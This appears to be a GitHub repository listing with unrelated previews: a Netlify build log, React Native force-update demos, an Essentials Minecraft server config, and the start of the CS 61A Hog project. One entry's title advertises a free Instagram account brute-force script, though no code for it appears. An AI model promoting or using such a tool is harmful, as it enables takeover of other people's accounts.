tsconfig-paths will be skipped 11:38:52 PM: tput: No value for $TERM and no -T specified 11:38:52 PM: ==================================================================================================== 11:38:52 PM: (Run Starting) 11:38:52 PM: ┌────────────────────────────────────────────────────────────────────────────────────────────────┐ 11:38:52 PM: │ Cypress: 10.2.0 │ 11:38:52 PM: │ Browser: Custom Chromium 90 (headless) │ 11:38:52 PM: │ Node Version: v16.15.1 (/opt/buildhome/.nvm/versions/node/v16.15.1/bin/node) │ 11:38:52 PM: │ Specs: 1 found (basic.cy.js) │ 11:38:52 PM: │ Searched: cypress/e2e/**/*.cy.{js,jsx,ts,tsx} │ 11:38:52 PM: └────────────────────────────────────────────────────────────────────────────────────────────────┘ 11:38:52 PM: ──────────────────────────────────────────────────────────────────────────────────────────────────── 11:38:52 PM: Running: basic.cy.js (1 of 1) 11:38:56 PM: 11:38:56 PM: sample render test 11:38:58 PM: ✓ displays the title text (2517ms) 11:38:58 PM: 1 passing (3s) 11:39:00 PM: (Results) 11:39:00 PM: ┌────────────────────────────────────────────────────────────────────────────────────────────────┐ 11:39:00 PM: │ Tests: 1 │ 11:39:00 PM: │ Passing: 1 │ 11:39:00 PM: │ Failing: 0 │ 11:39:00 PM: │ Pending: 0 │ 11:39:00 PM: │ Skipped: 0 │ 11:39:00 PM: │ Screenshots: 0 │ 11:39:00 PM: │ Video: true │ 11:39:00 PM: │ Duration: 2 seconds │ 11:39:00 PM: │ Spec Ran: basic.cy.js │ 11:39:00 PM: └────────────────────────────────────────────────────────────────────────────────────────────────┘ 11:39:00 PM: (Video) 11:39:00 PM: - Started processing: Compressing to 32 CRF 11:39:01 PM: - Finished processing: /opt/build/repo/cypress/videos/basic.cy.js.mp4 (1 second) 11:39:01 PM: tput: No value for $TERM and no -T specified 11:39:01 PM: ==================================================================================================== 11:39:01 PM: (Run Finished) 11:39:01 PM: Spec Tests Passing Failing Pending Skipped 11:39:01 PM: ┌────────────────────────────────────────────────────────────────────────────────────────────────┐ 11:39:01 PM: Creating deploy upload records 11:39:01 PM: │ ✔ basic.cy.js 00:02 1 1 - - - │ 11:39:01 PM: └────────────────────────────────────────────────────────────────────────────────────────────────┘ 11:39:01 PM: ✔ All specs passed! 00:02 1 1 - - - 11:39:01 PM: 11:39:01 PM: (netlify-plugin-cypress onPostBuild completed in 14s) 11:39:01 PM: 11:39:01 PM: ──────────────────────────────────────────────────────────────── 11:39:01 PM: 8. Deploy site 11:39:01 PM: ──────────────────────────────────────────────────────────────── 11:39:01 PM: 11:39:01 PM: Starting to deploy site from 'public' 11:39:01 PM: Creating deploy tree 11:39:01 PM: 0 new files to upload 11:39:01 PM: 0 new functions to upload 11:39:02 PM: Starting post processing 11:39:02 PM: Incorrect TOML configuration format: Key inputs is already used as table key 11:39:02 PM: Post processing - HTML 11:39:02 PM: Incorrect TOML configuration format: Key inputs is already used as table key 11:39:03 PM: Incorrect TOML configuration format: Key inputs is already used as table key 11:39:03 PM: Post processing - header rules 11:39:03 PM: Incorrect TOML configuration format: Key inputs is already used as table key 11:39:03 PM: Post processing - redirect rules 11:39:03 PM: Incorrect TOML configuration format: Key inputs is already used as table key 11:39:03 PM: Post processing done 11:39:07 PM: Site is live ✨ 11:39:07 PM: Finished waiting for live deploy in 6.137803722s 11:39:07 PM: Site deploy was successfully initiated 11:39:07 PM: 11:39:07 PM: (Deploy site completed in 6.4s) 11:39:07 PM: 11:39:07 PM: ──────────────────────────────────────────────────────────────── 11:39:07 PM: 9. @netlify/plugin-gatsby (onSuccess event) 11:39:07 PM: ──────────────────────────────────────────────────────────────── 11:39:07 PM: 11:39:07 PM: 11:39:07 PM: (@netlify/plugin-gatsby onSuccess completed in 5ms) 11:39:07 PM: 11:39:07 PM: ──────────────────────────────────────────────────────────────── 11:39:07 PM: 10. netlify-plugin-cypress (onSuccess event) 11:39:07 PM: ──────────────────────────────────────────────────────────────── 11:39:07 PM: 11:39:07 PM: 11:39:07 PM: (netlify-plugin-cypress onSuccess completed in 6ms) 11:39:08 PM: 11:39:08 PM: ──────────────────────────────────────────────────────────────── 11:39:08 PM: Netlify Build Complete 11:39:08 PM: ──────────────────────────────────────────────────────────────── 11:39:08 PM: 11:39:08 PM: (Netlify Build completed in 1m 29.4s) 11:39:08 PM: Caching artifacts 11:39:08 PM: Started saving node modules 11:39:08 PM: Finished saving node modules 11:39:08 PM: Started saving build plugins 11:39:08 PM: Finished saving build plugins 11:39:08 PM: Started saving pip cache 11:39:08 PM: Finished saving pip cache 11:39:08 PM: Started saving emacs cask dependencies 11:39:08 PM: Finished saving emacs cask dependencies 11:39:08 PM: Started saving maven dependencies 11:39:08 PM: Finished saving maven dependencies 11:39:08 PM: Started saving boot dependencies 11:39:08 PM: Finished saving boot dependencies 11:39:08 PM: Started saving rust rustup cache 11:39:08 PM: Finished saving rust rustup cache 11:39:08 PM: Started saving go dependencies 11:39:08 PM: Finished saving go dependencies 11:39:10 PM: Build script success 11:39:10 PM: Pushing to repository git@github.com:Lhagawajaw/hymd-baraa 11:40:32 PM: Finished processing build request in 4m30.278982258s
sabapathy7 / ForceUpdateExampleDemonstrating Force Update App Feature
Trobyss / React Native Modal Force UpdateForce users to update your application in React Native
fanky86 / Igupdate script untuk brute force akun instagram free
dallyswag / Robert Swag############################################################ # +------------------------------------------------------+ # # | Notes | # # +------------------------------------------------------+ # ############################################################ # If you want to use special characters in this document, such as accented letters, you MUST save the file as UTF-8, not ANSI. # If you receive an error when Essentials loads, ensure that: # - No tabs are present: YAML only allows spaces # - Indents are correct: YAML hierarchy is based entirely on indentation # - You have "escaped" all apostrophes in your text: If you want to write "don't", for example, write "don''t" instead (note the doubled apostrophe) # - Text with symbols is enclosed in single or double quotation marks # If you have problems join the Essentials help support channel: http://tiny.cc/EssentialsChat ############################################################ # +------------------------------------------------------+ # # | Essentials (Global) | # # +------------------------------------------------------+ # ############################################################ # A color code between 0-9 or a-f. Set to 'none' to disable. ops-name-color: '4' # The character(s) to prefix all nicknames, so that you know they are not true usernames. nickname-prefix: '~' # The maximum length allowed in nicknames. The nickname prefix is included in this. max-nick-length: 15 # Disable this if you have any other plugin, that modifies the displayname of a user. change-displayname: true # When this option is enabled, the (tab) player list will be updated with the displayname. # The value of change-displayname (above) has to be true. #change-playerlist: true # When essentialschat.jar isn't used, force essentials to add the prefix and suffix from permission plugins to displayname. # This setting is ignored if essentialschat.jar is used, and defaults to 'true'. # The value of change-displayname (above) has to be true. # Do not edit this setting unless you know what you are doing! #add-prefix-suffix: false # If the teleport destination is unsafe, should players be teleported to the nearest safe location? # If this is set to true, Essentials will attempt to teleport players close to the intended destination. # If this is set to false, attempted teleports to unsafe locations will be cancelled with a warning. teleport-safety: true # The delay, in seconds, required between /home, /tp, etc. teleport-cooldown: 3 # The delay, in seconds, before a user actually teleports. If the user moves or gets attacked in this timeframe, the teleport never occurs. teleport-delay: 5 # The delay, in seconds, a player can't be attacked by other players after they have been teleported by a command. # This will also prevent the player attacking other players. teleport-invulnerability: 4 # The delay, in seconds, required between /heal or /feed attempts. heal-cooldown: 60 # What to prevent from /i /give. # e.g item-spawn-blacklist: 46,11,10 item-spawn-blacklist: # Set this to true if you want permission based item spawn rules. # Note: The blacklist above will be ignored then. # Example permissions (these go in your permissions manager): # - essentials.itemspawn.item-all # - essentials.itemspawn.item-[itemname] # - essentials.itemspawn.item-[itemid] # - essentials.give.item-all # - essentials.give.item-[itemname] # - essentials.give.item-[itemid] # - essentials.unlimited.item-all # - essentials.unlimited.item-[itemname] # - essentials.unlimited.item-[itemid] # - essentials.unlimited.item-bucket # Unlimited liquid placing # # For more information, visit http://wiki.ess3.net/wiki/Command_Reference/ICheat#Item.2FGive permission-based-item-spawn: false # Mob limit on the /spawnmob command per execution. spawnmob-limit: 1 # Shall we notify users when using /lightning? warn-on-smite: true # motd and rules are now configured in the files motd.txt and rules.txt. # When a command conflicts with another plugin, by default, Essentials will try to force the OTHER plugin to take priority. # Commands in this list, will tell Essentials to 'not give up' the command to other plugins. # In this state, which plugin 'wins' appears to be almost random. # # If you have two plugin with the same command and you wish to force Essentials to take over, you need an alias. # To force essentials to take 'god' alias 'god' to 'egod'. # See http://wiki.bukkit.org/Bukkit.yml#aliases for more information overridden-commands: # - god # - info # Disabling commands here will prevent Essentials handling the command, this will not affect command conflicts. # Commands should fallback to the vanilla versions if available. # You should not have to disable commands used in other plugins, they will automatically get priority. disabled-commands: # - nick # - clear - mail - mail.send - nuke - afk # These commands will be shown to players with socialSpy enabled. # You can add commands from other plugins you may want to track or # remove commands that are used for something you dont want to spy on. socialspy-commands: - msg - w - r - mail - m - t - whisper - emsg - tell - er - reply - ereply - email - action - describe - eme - eaction - edescribe - etell - ewhisper - pm # If you do not wish to use a permission system, you can define a list of 'player perms' below. # This list has no effect if you are using a supported permissions system. # If you are using an unsupported permissions system, simply delete this section. # Whitelist the commands and permissions you wish to give players by default (everything else is op only). # These are the permissions without the "essentials." part. player-commands: - afk - afk.auto - back - back.ondeath - balance - balance.others - balancetop - build - chat.color - chat.format - chat.shout - chat.question - clearinventory - compass - depth - delhome - getpos - geoip.show - help - helpop - home - home.others - ignore - info - itemdb - kit - kits.tools - list - mail - mail.send - me - motd - msg - msg.color - nick - near - pay - ping - protect - r - rules - realname - seen - sell - sethome - setxmpp - signs.create.protection - signs.create.trade - signs.break.protection - signs.break.trade - signs.use.balance - signs.use.buy - signs.use.disposal - signs.use.enchant - signs.use.free - signs.use.gamemode - signs.use.heal - signs.use.info - signs.use.kit - signs.use.mail - signs.use.protection - signs.use.repair - signs.use.sell - signs.use.time - signs.use.trade - signs.use.warp - signs.use.weather - spawn - suicide - time - tpa - tpaccept - tpahere - tpdeny - warp - warp.list - world - worth - xmpp # Note: All items MUST be followed by a quantity! # All kit names should be lower case, and will be treated as lower in permissions/costs. # Syntax: - itemID[:DataValue/Durability] Amount [Enchantment:Level].. [itemmeta:value]... # For Item meta information visit http://wiki.ess3.net/wiki/Item_Meta # 'delay' refers to the cooldown between how often you can use each kit, measured in seconds. # For more information, visit http://wiki.ess3.net/wiki/Kits kits: Goblin: delay: 3600 items: - 272 1 sharpness:2 unbreaking:1 looting:1 name:&8[&2Goblin&8]&fSword - 306 1 unbreaking:1 protection:1 name:&8[&2Goblin&8]&fHelmet - 307 1 unbreaking:1 protection:1 name:&8[&2Goblin&8]&fChestplate - 308 1 unbreaking:1 protection:1 name:&8[&2Goblin&8]&fLeggings - 309 1 unbreaking:1 protection:1 name:&8[&2Goblin&8]&fBoots - 256 1 efficiency:1 unbreaking:1 name:&8[&2Goblin&8]&fShovel - 257 1 efficiency:1 unbreaking:1 fortune:1 name:&8[&2Goblin&8]&fPickaxe - 258 1 efficiency:1 unbreaking:1 name:&8[&2Goblin&8]&fAxe - 364 16 Griefer: delay: 14400 items: - 276 1 sharpness:3 unbreaking:3 name:&8[&d&lGriefer&8]&fSword - 322:1 1 - 310 1 protection:2 name:&8[&d&lGriefer&8]&fHelmet - 311 1 protection:2 name:&8[&d&lGriefer&8]&fChestplate - 312 1 protection:2 name:&8[&d&lGriefer&8]&fLeggings - 313 1 protection:2 name:&8[&d&lGriefer&8]&fBoots Villager: delay: 43200 items: - 267 1 sharpness:4 name:&8[&eVillager&8]&fSword - 306 1 unbreaking:3 protection:4 name:&8[&eVillager&8]&fHelmet - 307 1 unbreaking:3 protection:4 name:&8[&eVillager&8]&fChestplate - 308 1 unbreaking:3 protection:4 name:&8[&eVillager&8]&fLeggings - 309 1 unbreaking:3 protection:4 name:&8[&eVillager&8]&fBoots - 388 10 - 383:120 2 Knight: delay: 43200 items: - 276 1 sharpness:3 name:&8[&cKnight&8]&fSword - 310 1 protection:2 name:&8[&cKnight&8]&fHelmet - 311 1 protection:2 name:&8[&cKnight&8]&fChestplate - 312 1 protection:2 name:&8[&cKnight&8]&fLeggings - 313 1 protection:2 name:&8[&cKnight&8]&fBoots - 388 20 - 383:120 4 King: delay: 43200 items: - 276 1 sharpness:4 fire:1 name:&8[&5King&8]&fSword - 310 1 protection:4 name:&8[&5King&8]&fHelmet - 311 1 protection:4 name:&8[&5King&8]&fChestplate - 312 1 protection:4 name:&8[&5King&8]&fLeggings - 313 1 protection:4 name:&8[&5King&8]&fBoots - 388 30 - 383:120 6 Hero: delay: 43200 items: - 276 1 sharpness:4 fire:2 name:&8[&aHero&8]&fSword - 310 1 protection:4 unbreaking:1 name:&8[&aHero&8]&fHelmet - 311 1 protection:4 unbreaking:1 name:&8[&aHero&8]&fChestplate - 312 1 protection:4 unbreaking:1 name:&8[&aHero&8]&fLeggings - 313 1 protection:4 unbreaking:1 name:&8[&aHero&8]&fBoots - 388 40 - 383:120 8 God: delay: 43200 items: - 276 1 sharpness:5 fire:2 name:&8[&4God&8]&fSword - 310 1 protection:4 unbreaking:3 name:&8[&4God&8]&fHelmet - 311 1 protection:4 unbreaking:3 name:&8[&4God&8]&fChestplate - 312 1 protection:4 unbreaking:3 name:&8[&4God&8]&fLeggings - 313 1 protection:4 unbreaking:3 name:&8[&4God&8]&fBoots - 388 50 - 383:120 10 - 322:1 5 Legend: delay: 43200 items: - 276 1 sharpness:5 fire:2 unbreaking:3 name:&8[&6&lLegend&8]&fSword - 310 1 protection:4 unbreaking:3 thorns:3 name:&8[&6&lLegend&8]&fHelmet - 311 1 protection:4 unbreaking:3 thorns:3 name:&8[&6&lLegend&8]&fChestplate - 312 1 protection:4 unbreaking:3 thorns:3 name:&8[&6&lLegend&8]&fLeggings - 313 1 protection:4 unbreaking:3 thorns:3 name:&8[&6&lLegend&8]&fBoots - 388 60 - 383:120 12 - 322:1 10 - 383:50 5 - 261 1 flame:1 power:5 punch:2 unbreaking:3 infinity:1 name:&8[&6&lLegend&8]&fBow - 262 1 - 279 1 sharpness:5 unbreaking:3 name:&8[&6&lLegend&8]&fAxe Youtube: delay: 43200 items: - 276 1 sharpness:5 fire:2 unbreaking:3 name:&8[&f&lYou&c&lTube&8]&fSword - 310 1 protection:4 unbreaking:3 thorns:3 name:&8[&f&lYou&c&lTube&8]&fHelmet - 311 1 protection:4 unbreaking:3 thorns:3 name:&8[&f&lYou&c&lTube&8]&fChestplate - 312 1 protection:4 unbreaking:3 thorns:3 name:&8[&f&lYou&c&lTube&8]&fLeggings - 313 1 protection:4 unbreaking:3 thorns:3 name:&8[&f&lYou&c&lTube&8]&fBoots - 388 60 - 383:120 12 - 322:1 10 - 383:50 5 - 261 1 flame:1 power:5 punch:2 unbreaking:3 infinity:1 name:&8[&f&lYou&c&lTube&8]&fBow - 262 1 - 279 1 sharpness:5 unbreaking:3 name:&8[&f&lYou&c&lTube&8]&fAxe Join: delay: 3600 items: - 17 16 - 333 1 - 49 32 - 50 16 - 4 64 - 373:8258 1 - 320 16 Reset: delay: 31536000 items: - 272 1 sharpness:4 unbreaking:3 name:&8[&cR&ee&as&be&dt&8]&fSword - 298 1 protection:3 unbreaking:1 name:&8[&cR&ee&as&be&dt&8]&fHelmet - 299 1 protection:3 unbreaking:1 name:&8[&cR&ee&as&be&dt&8]&fChestplate - 300 1 protection:3 unbreaking:1 name:&8[&cR&ee&as&be&dt&8]&fLeggings - 301 1 protection:3 unbreaking:1 name:&8[&cR&ee&as&be&dt&8]&fBoots - 354 1 name:&f&l Cake &4Vote # Essentials Sign Control # See http://wiki.ess3.net/wiki/Sign_Tutorial for instructions on how to use these. # To enable signs, remove # symbol. To disable all signs, comment/remove each sign. # Essentials Colored sign support will be enabled when any sign types are enabled. # Color is not an actual sign, it's for enabling using color codes on signs, when the correct permissions are given. enabledSigns: - color - balance - buy - sell #- trade #- free #- disposal #- warp #- kit #- mail #- enchant #- gamemode #- heal #- info #- spawnmob #- repair #- time #- weather # How many times per second can Essentials signs be interacted with per player. # Values should be between 1-20, 20 being virtually no lag protection. # Lower numbers will reduce the possibility of lag, but may annoy players. sign-use-per-second: 4 # Backup runs a batch/bash command while saving is disabled. backup: # Interval in minutes. interval: 30 # Unless you add a valid backup command or script here, this feature will be useless. # Use 'save-all' to simply force regular world saving without backup. #command: 'rdiff-backup World1 backups/World1' # Set this true to enable permission per warp. per-warp-permission: false # Sort output of /list command by groups. # You can hide and merge the groups displayed in /list by defining the desired behaviour here. # Detailed instructions and examples can be found on the wiki: http://wiki.ess3.net/wiki/List list: # To merge groups, list the groups you wish to merge #Staff: owner admin moderator Admins: owner admin # To limit groups, set a max user limit #builder: 20 # To hide groups, set the group as hidden #default: hidden # Uncomment the line below to simply list all players with no grouping #Players: '*' # More output to the console. debug: false # Set the locale for all messages. # If you don't set this, the default locale of the server will be used. # For example, to set language to English, set locale to en, to use the file "messages_en.properties". # Don't forget to remove the # in front of the line. # For more information, visit http://wiki.ess3.net/wiki/Locale #locale: en # Turn off god mode when people exit. remove-god-on-disconnect: false # Auto-AFK # After this timeout in seconds, the user will be set as afk. # This feature requires the player to have essentials.afk.auto node. # Set to -1 for no timeout. auto-afk: 300 # Auto-AFK Kick # After this timeout in seconds, the user will be kicked from the server. # essentials.afk.kickexempt node overrides this feature. # Set to -1 for no timeout. auto-afk-kick: -1 # Set this to true, if you want to freeze the player, if he is afk. # Other players or monsters can't push him out of afk mode then. # This will also enable temporary god mode for the afk player. # The player has to use the command /afk to leave the afk mode. freeze-afk-players: false # When the player is afk, should he be able to pickup items? # Enable this, when you don't want people idling in mob traps. disable-item-pickup-while-afk: false # This setting controls if a player is marked as active on interaction. # When this setting is false, you will need to manually un-AFK using the /afk command. cancel-afk-on-interact: true # Should we automatically remove afk status when the player moves? # Player will be removed from AFK on chat/command regardless of this setting. # Disable this to reduce server lag. cancel-afk-on-move: true # You can disable the death messages of Minecraft here. death-messages: false # Should operators be able to join and part silently. # You can control this with permissions if it is enabled. allow-silent-join-quit: true # You can set a custom join message here, set to "none" to disable. # You may use color codes, use {USERNAME} the player's name or {PLAYER} for the player's displayname. custom-join-message: "" # You can set a custom quit message here, set to "none" to disable. # You may use color codes, use {USERNAME} the player's name or {PLAYER} for the player's displayname. custom-quit-message: "" # Add worlds to this list, if you want to automatically disable god mode there. no-god-in-worlds: # - world_nether # Set to true to enable per-world permissions for teleporting between worlds with essentials commands. # This applies to /world, /back, /tp[a|o][here|all], but not warps. # Give someone permission to teleport to a world with essentials.worlds.<worldname> # This does not affect the /home command, there is a separate toggle below for this. world-teleport-permissions: false # The number of items given if the quantity parameter is left out in /item or /give. # If this number is below 1, the maximum stack size size is given. If over-sized stacks. # are not enabled, any number higher than the maximum stack size results in more than one stack. default-stack-size: -1 # Over-sized stacks are stacks that ignore the normal max stack size. # They can be obtained using /give and /item, if the player has essentials.oversizedstacks permission. # How many items should be in an over-sized stack? oversized-stacksize: 64 # Allow repair of enchanted weapons and armor. # If you set this to false, you can still allow it for certain players using the permission. # essentials.repair.enchanted repair-enchanted: true # Allow 'unsafe' enchantments in kits and item spawning. # Warning: Mixing and overleveling some enchantments can cause issues with clients, servers and plugins. unsafe-enchantments: false #Do you want essentials to keep track of previous location for /back in the teleport listener? #If you set this to true any plugin that uses teleport will have the previous location registered. register-back-in-listener: false #Delay to wait before people can cause attack damage after logging in. login-attack-delay: 5 #Set the max fly speed, values range from 0.1 to 1.0 max-fly-speed: 0.8 #Set the max walk speed, values range from 0.1 to 1.0 max-walk-speed: 0.8 #Set the maximum amount of mail that can be sent within a minute. mails-per-minute: 1000 # Set the maximum time /tempban can be used for in seconds. # Set to -1 to disable, and essentials.tempban.unlimited can be used to override. max-tempban-time: -1 ############################################################ # +------------------------------------------------------+ # # | EssentialsHome | # # +------------------------------------------------------+ # ############################################################ # Allows people to set their bed at daytime. update-bed-at-daytime: true # Set to true to enable per-world permissions for using homes to teleport between worlds. # This applies to the /home only. # Give someone permission to teleport to a world with essentials.worlds.<worldname> world-home-permissions: false # Allow players to have multiple homes. # Players need essentials.sethome.multiple before they can have more than 1 home. # You can set the default number of multiple homes using the 'default' rank below. # To remove the home limit entirely, give people 'essentials.sethome.multiple.unlimited'. # To grant different home amounts to different people, you need to define a 'home-rank' below. # Create the 'home-rank' below, and give the matching permission: essentials.sethome.multiple.<home-rank> # For more information, visit http://wiki.ess3.net/wiki/Multihome sethome-multiple: Goblin: 1 Villager: 2 Knight: 3 King: 4 Hero: 5 God: 6 # In this example someone with 'essentials.sethome.multiple' and 'essentials.sethome.multiple.vip' will have 5 homes. # Set timeout in seconds for players to accept tpa before request is cancelled. # Set to 0 for no timeout. tpa-accept-cancellation: 120 ############################################################ # +------------------------------------------------------+ # # | EssentialsEco | # # +------------------------------------------------------+ # ############################################################ # For more information, visit http://wiki.ess3.net/wiki/Essentials_Economy # Defines the balance with which new players begin. Defaults to 0. starting-balance: 1000 # worth-# defines the value of an item when it is sold to the server via /sell. # These are now defined in worth.yml # Defines the cost to use the given commands PER USE. # Some commands like /repair have sub-costs, check the wiki for more information. command-costs: # /example costs $1000 PER USE #example: 1000 # /kit tools costs $1500 PER USE #kit-tools: 1500 # Set this to a currency symbol you want to use. currency-symbol: '$' # Set the maximum amount of money a player can have. # The amount is always limited to 10 trillion because of the limitations of a java double. max-money: 10000000000000 # Set the minimum amount of money a player can have (must be above the negative of max-money). # Setting this to 0, will disable overdrafts/loans completely. Users need 'essentials.eco.loan' perm to go below 0. min-money: -10000 # Enable this to log all interactions with trade/buy/sell signs and sell command. economy-log-enabled: false ############################################################ # +------------------------------------------------------+ # # | EssentialsHelp | # # +------------------------------------------------------+ # ############################################################ # Show other plugins commands in help. non-ess-in-help: true # Hide plugins which do not give a permission. # You can override a true value here for a single plugin by adding a permission to a user/group. # The individual permission is: essentials.help.<plugin>, anyone with essentials.* or '*' will see all help regardless. # You can use negative permissions to remove access to just a single plugins help if the following is enabled. hide-permissionless-help: true ############################################################ # +------------------------------------------------------+ # # | EssentialsChat | # # +------------------------------------------------------+ # ############################################################ chat: # If EssentialsChat is installed, this will define how far a player's voice travels, in blocks. Set to 0 to make all chat global. # Note that users with the "essentials.chat.spy" permission will hear everything, regardless of this setting. # Users with essentials.chat.shout can override this by prefixing text with an exclamation mark (!) # Users with essentials.chat.question can override this by prefixing text with a question mark (?) # You can add command costs for shout/question by adding chat-shout and chat-question to the command costs section." radius: 0 # Chat formatting can be done in two ways, you can either define a standard format for all chat. # Or you can give a group specific chat format, to give some extra variation. # If set to the default chat format which "should" be compatible with ichat. # For more information of chat formatting, check out the wiki: http://wiki.ess3.net/wiki/Chat_Formatting format: '<{DISPLAYNAME}> {MESSAGE}' #format: '&7[{GROUP}]&r {DISPLAYNAME}&7:&r {MESSAGE}' group-formats: Goblin: '&7{DISPLAYNAME}&8:&f&o {MESSAGE}' Youtuber: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Witch: '&7{DISPLAYNAME}&8:&f&o {MESSAGE}' Wizard: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Sorcerer: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Raider: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Greifer: '&7{DISPLAYNAME}&8:&a {MESSAGE}' ChatMod: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Owner: '&7{DISPLAYNAME}&8:&c {MESSAGE}' OP: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Developer: '&7{DISPLAYNAME}&8:&f {MESSAGE}' HeadAdmin: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Admin: '&7{DISPLAYNAME}&8:&f {MESSAGE}' JuniorAdmin: '&7{DISPLAYNAME}&8:&f {MESSAGE}' StaffManager: '&7{DISPLAYNAME}&8:&f {MESSAGE}' ForumAdmin: '&7{DISPLAYNAME}&8:&f {MESSAGE}' HeadModerator: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Moderator: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Helper: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Villager: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Knight: '&7{DISPLAYNAME}&8:&f {MESSAGE}' King: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Hero: '&7{DISPLAYNAME}&8:&f {MESSAGE}' God: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Legend: '&7{DISPLAYNAME}&8:&b {MESSAGE}' # If you are using group formats make sure to remove the '#' to allow the setting to be read. ############################################################ # +------------------------------------------------------+ # # | EssentialsProtect | # # +------------------------------------------------------+ # ############################################################ protect: # General physics/behavior modifications. prevent: lava-flow: false water-flow: false water-bucket-flow: false fire-spread: true lava-fire-spread: true flint-fire: false lightning-fire-spread: true portal-creation: false tnt-explosion: false tnt-playerdamage: false tnt-minecart-explosion: false tnt-minecart-playerdamage: false fireball-explosion: false fireball-fire: false fireball-playerdamage: false witherskull-explosion: false witherskull-playerdamage: false wither-spawnexplosion: false wither-blockreplace: false creeper-explosion: false creeper-playerdamage: false creeper-blockdamage: false enderdragon-blockdamage: true enderman-pickup: false villager-death: false # Monsters won't follow players. # permission essentials.protect.entitytarget.bypass disables this. entitytarget: false # Prevent the spawning of creatures. spawn: creeper: false skeleton: false spider: false giant: false zombie: false slime: false ghast: false pig_zombie: false enderman: false cave_spider: false silverfish: false blaze: false magma_cube: false ender_dragon: false pig: false sheep: false cow: false chicken: false squid: false wolf: false mushroom_cow: false snowman: false ocelot: false iron_golem: false villager: false wither: true bat: false witch: false horse: false # Maximum height the creeper should explode. -1 allows them to explode everywhere. # Set prevent.creeper-explosion to true, if you want to disable creeper explosions. creeper: max-height: -1 # Disable various default physics and behaviors. disable: # Should fall damage be disabled? fall: false # Users with the essentials.protect.pvp permission will still be able to attack each other if this is set to true. # They will be unable to attack users without that same permission node. pvp: false # Should drowning damage be disabled? # (Split into two behaviors; generally, you want both set to the same value.) drown: false suffocate: false # Should damage via lava be disabled? Items that fall into lava will still burn to a crisp. ;) lavadmg: false # Should arrow damage be disabled? projectiles: false # This will disable damage from touching cacti. contactdmg: false # Burn, baby, burn! Should fire damage be disabled? firedmg: false # Should the damage after hit by a lightning be disabled? lightning: false # Should Wither damage be disabled? wither: false # Disable weather options? weather: storm: false thunder: false lightning: false ############################################################ # +------------------------------------------------------+ # # | EssentialsAntiBuild | # # +------------------------------------------------------+ # ############################################################ # Disable various default physics and behaviors # For more information, visit http://wiki.ess3.net/wiki/AntiBuild # Should people with build: false in permissions be allowed to build? # Set true to disable building for those people. # Setting to false means EssentialsAntiBuild will never prevent you from building. build: true # Should people with build: false in permissions be allowed to use items? # Set true to disable using for those people. # Setting to false means EssentialsAntiBuild will never prevent you from using items. use: true # Should we tell people they are not allowed to build? warn-on-build-disallow: true # For which block types would you like to be alerted? # You can find a list of IDs in plugins/Essentials/items.csv after loading Essentials for the first time. # 10 = lava :: 11 = still lava :: 46 = TNT :: 327 = lava bucket alert: on-placement: 10,11,46,327 on-use: 327 on-break: blacklist: # Which blocks should people be prevented from placing? placement: 10,11,46,327 # Which items should people be prevented from using? usage: 327 # Which blocks should people be prevented from breaking? break: # Which blocks should not be pushed by pistons? piston: # Which blocks should not be dispensed by dispensers dispenser: ############################################################ # +------------------------------------------------------+ # # | Essentials Spawn / New Players | # # +------------------------------------------------------+ # ############################################################ newbies: # Should we announce to the server when someone logs in for the first time? # If so, use this format, replacing {DISPLAYNAME} with the player name. # If not, set to '' #announce-format: '' announce-format: '&cWelcome &e&l{DISPLAYNAME}&c to the &8R&7e&8t&7r&8o&4-&cFactions server!' # When we spawn for the first time, which spawnpoint do we use? # Set to "none" if you want to use the spawn point of the world. spawnpoint: newbies # Do we want to give users anything on first join? Set to '' to disable # This kit will be given regardless of cost, and permissions. #kit: '' kit: join # Set this to lowest, if you want Multiverse to handle the respawning. # Set this to high, if you want EssentialsSpawn to handle the respawning. # Set this to highest, if you want to force EssentialsSpawn to handle the respawning. respawn-listener-priority: high # When users die, should they respawn at their first home or bed, instead of the spawnpoint? respawn-at-home: false # End of File <-- No seriously, you're done with configuration.
flybunctious / The Game Of HogIntroduction In this project, you will develop a simulator and multiple strategies for the dice game Hog. You will need to use control statements and higher-order functions together, as described in Sections 1.2 through 1.6 of Composing Programs. In Hog, two players alternate turns trying to be the first to end a turn with at least 100 total points. On each turn, the current player chooses some number of dice to roll, up to 10. That player's score for the turn is the sum of the dice outcomes. To spice up the game, we will play with some special rules: Pig Out. If any of the dice outcomes is a 1, the current player's score for the turn is 1. Example 1: The current player rolls 7 dice, 5 of which are 1's. They score 1 point for the turn. Example 2: The current player rolls 4 dice, all of which are 3's. Since Pig Out did not occur, they score 12 points for the turn. Free Bacon. A player who chooses to roll zero dice scores one more than the largest digit in the opponent's total score. Example 1: If the opponent has 42 points, the current player gains 1 + max(4, 2) = 5 points by rolling zero dice. Example 2: If the opponent has 48 points, the current player gains 1 + max(4, 8) = 9 points by rolling zero dice. Example 3: If the opponent has 7 points, the current player gains 1 + max(0, 7) = 8 points by rolling zero dice. Swine Swap. After points for the turn are added to the current player's score, if both scores are larger than 1 and either one of the scores is a positive integer multiple of the other, then the two scores are swapped. Example 1: The current player has a total score of 37 and the opponent has 92. The current player rolls two dice that total 9. The opponent's score (92) is exactly twice the player's new total score (46). These scores are swapped! The current player now has 92 points and the opponent has 46. The turn ends. Example 2: The current player has 91 and the opponent has 37. The current player rolls five dice that total 20. The current player has 111, which is 3 times 37, so the scores are swapped. The opponent ends the turn with 111 and wins the game. Download starter files To get started, download all of the project code as a zip archive. You only have to make changes to hog.py. hog.py: A starter implementation of Hog dice.py: Functions for rolling dice hog_gui.py: A graphical user interface for Hog ucb.py: Utility functions for CS 61A ok: CS 61A autograder tests: A directory of tests used by ok images: A directory of images used by hog_gui.py Logistics This is a 2-week project. This is a solo project, so you will complete this project without a partner. You should not share your code with any other students, or copy from anyone else's solutions. Remember that you can earn an additional bonus point by submitting the project at least 24 hours before the deadline. The project is worth 20 points. 18 points are assigned for correctness, and 2 points for the overall composition of your program. You will turn in the following 